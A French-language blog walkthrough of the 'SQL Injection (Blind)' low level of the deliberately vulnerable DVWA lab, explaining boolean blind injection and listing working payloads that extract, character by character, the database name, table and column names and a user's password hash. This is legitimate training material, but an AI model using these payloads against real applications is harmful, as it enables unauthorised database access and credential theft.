Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  1. Walkthroughs
  2. Deliberately Vulnerable
  3. Damn Vulnerable Web Application (DVWA)
  4. SQL Injection (Blind)

Niveau "Low"

PrécédentSQL Injection (Blind)SuivantNiveau "Medium"

Dernière mise à jour il y a 2 ans

Une injection à l'aveugle diffère d'une injection plus classique par le fait que l'application va répondre à mes requêtes seulement par oui ou par non.

Par exemple, l'application répond que l'id renseigné est bel et bien présent dans la base (soit une réponse oui) :

Dans le cas contraire, l'application répond par un message spécifique (sur d'autres applications il peut s'agir de l'absence de message) indiquant que l'id est inexistant (réponse non) :

Comprenant maintenant un peu mieux le principe de l'injection à l'aveugle, il me reste plus qu'à identifier et exploiter l'injection.

L'injection du caractère spécial "'" ne déclenche pas d'erreur, il me faut alors trouver une autre manière de confirmer la présence d'une faille SQL :

Il existe plein de possibilités pour cela, en voici une. Je sais que l'id "1" existe, je vais donc tenter de modifier la requête afin d'ajouter une clause AND :

La réponse négative n'indique pas la présence d'injection SQL à elle-seule, mais couplée à une seconde réponse :

Révèle bien l’existence de la vulnérabilité.

La première étape est de récupérer le nom de la base de données utilisée par l'application. Pour rappel, l'application ne peut répondre seulement que par oui ou par non, je vais donc gentiment demander à l'application si la première lettre du nom de la base commence par "a", par "b", par "c" etc ... (j'ai ajouté le premier "'" seulement pour la coloration syntaxique) :

'1' AND ORD(MID(DATABASE(),1,1)) = 100 -- 

Explications

Ici, je demande à l'application si la première lettre du nom de sa base de données est "d" (100 en décimal). L'application me répond par l'affirmative.

  • DATABASE() : renvoie la chaîne "dvwa"

  • MID(DATABASE(),1,1) : renvoie le première caractère de la chaîne retournée par DATABASE()

  • ORD() : renvoie l'équivalent décimal du caractère en paramètre

Il est possible d'utiliser les opérateurs>= et <= puis d'affiner notre recherche au fur et à mesure

Soit pour la chaîne entière :

'1' AND ORD(MID(DATABASE(),1,1)) = 100 --   // d
'1' AND ORD(MID(DATABASE(),2,1)) = 118 --   // v
'1' AND ORD(MID(DATABASE(),3,1)) = 119 --   // w
'1' AND ORD(MID(DATABASE(),4,1)) = 97 --    // a

De plus, il est également possible de déterminer tout d'abord la longueur de la chaîne renvoyée par la fonction appelée (ici DATABASE()) :

Je continue avec la récupération des noms des tables de cette base. Etant en aveugle, je récupère en premier lieu, le nombre de tables existants dans la base (50 représentant "2" en décimal) :

Puis les noms des deux tables :

'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 --  // g 
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),2,1)) = 117 --  // u
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),3,1)) = 101 --  // e
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),4,1)) = 115 --  // s
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),5,1)) = 116 --  // t
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),6,1)) = 98 --   // b
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),7,1)) = 111 --  // o
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),8,1)) = 111 --  // o
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 0,1),9,1)) = 107 --  // k
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 1,2),1,1)) = 117 --  // u 
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 1,2),2,1)) = 115 --  // s
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 1,2),3,1)) = 101 --  // e
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 1,2),4,1)) = 114 --  // r
'1' AND ORD(MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dvwa' LIMIT 1,2),5,1)) = 115 --  // s

Je détermine ensuite le nombre de colonnes de la table users , soit ici 8 (56 en décimal) :

'1' AND ORD(MID((SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa'),1,1)) = 56 -- 

Puis je retrouve les noms des colonnes (ici en exemple user et password) :

'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 3,1),1,1)) = 117 --  // u 
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 3,1),2,1)) = 115 --  // s
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 3,1),3,1)) = 101 --  // e
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 3,1),4,1)) = 114 --  // r
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 --  // p 
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),2,1)) = 97 --   // a
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),3,1)) = 115 --  // s
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),4,1)) = 115 --  // s
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),5,1)) = 119 --  // w
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),6,1)) = 111 --  // o
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),7,1)) = 114 --  // r
'1' AND ORD(MID((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema='dvwa' LIMIT 4,1),8,1)) = 100 --  // d

Finalement, l'empreinte du mot de passe de notre victime (ici Pablo) :

'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),1,1)) = 48 --   // 0  
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),2,1)) = 100 --  // d
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),3,1)) = 49 --   // 1
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),4,1)) = 48 --   // 0
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),5,1)) = 55 --   // 7
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),6,1)) = 100 --  // d
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),7,1)) = 48 --   // 0
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),8,1)) = 57 --   // 9
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),9,1)) = 102 --  // f
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),10,1)) = 53 --  // 5
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),11,1)) = 98 --  // b
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),12,1)) = 98 --  // b
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),13,1)) = 101 -- // e
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),14,1)) = 52 --  // 4
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),15,1)) = 48 --  // 0
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),16,1)) = 99 --  // c
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),17,1)) = 97 --  // a
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),18,1)) = 100 -- // d
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),19,1)) = 101 -- // e
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),20,1)) = 51 --  // 3
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),21,1)) = 100 -- // d
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),22,1)) = 101 -- // e
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),23,1)) = 53 --  // 5
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),24,1)) = 99 --  // c
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),25,1)) = 55 --  // 7
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),26,1)) = 49 --  // 1
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),27,1)) = 101 -- // e
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),28,1)) = 57 --  // 9
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),29,1)) = 101 -- // e
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),30,1)) = 57 --  // 9
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),31,1)) = 98 --  // b
'1' AND ORD(MID((SELECT password FROM dvwa.users WHERE user='Pablo'),32,1)) = 55 --  // 7

Soit :

On se concentre ici seulement sur l'utilisateur Pablo mais il est bien sur possible de récupérer tous les noms des utilisateurs ainsi que les mots de passe associés en utilisant la même technique